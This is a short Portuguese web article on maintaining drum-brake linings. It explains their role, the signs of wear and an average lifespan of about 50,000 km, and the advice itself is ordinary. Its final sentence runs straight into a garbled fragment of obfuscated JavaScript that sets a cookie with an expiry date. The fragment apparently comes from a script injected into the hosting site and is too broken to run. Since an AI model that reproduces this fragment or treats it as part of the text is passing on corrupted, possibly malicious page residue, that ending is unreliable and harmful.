Manutenção para Lona de Freio

Manutenção da lona de freio

No trânsito, tão importante quanto a capacidade de um veículo se locomover e desenvolver velocidade é a capacidade do mesmo conseguir diminuí-la e frear.

O sistema de frenagem de um veículo é um dos pontos que mais merecem atenção quando o assunto é a manutenção. Manter todas as partes do freio em boas condições é um dos pontos mais essenciais para uma direção segura e prevenção de acidentes.

O sistema de frenagem é composto por várias estruturas. O pedal, cilindro mestre, fluído, canos e mangueiras, pastilhas, discos, lonas de freio e tambores. Cada uma delas tem uma função específica para fazer o sistema funcionar como um todo.

As lonas de freio servem para realizar o atrito entre as rodas traseiras e o tambor de freio e também trava o movimento do veículo quando o freio de mão é acionado.

A frequência do acionamento das lonas de freio é menor do que a das pastilhas, portanto, elas não são trocadas ao mesmo tempo. Ainda assim é sempre importante realizar uma vistoria das lonas quando o veículo passar por uma manutenção.

• Como perceber a hora de trocar as lonas de freio?

Existem alguns sinais que permitem perceber o desgaste das lonas de freio. Os principais são a dificuldade de frenagem com as rodas de trás e quando o freio de mão não trava totalmente a mobilidade do veículo.

• Tempo de vida útil das lonas de freio

Cada fabricante estipula uma vida útil para as lonas, mas isso pode variar de acordo com o tempo e a forma de utilização do veículo. Uma direção agressiva, com frenagens bruscas, por exemplo, aumenta o desgaste e diminui o tempo de vida útil da lona de freio.

Em média o tempo de duração das lonas de freio gira em torno de 50 mil quilômetros rodados, mas é sempre importante realizar a vistoria para evitar rodar com elas desgastadas.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]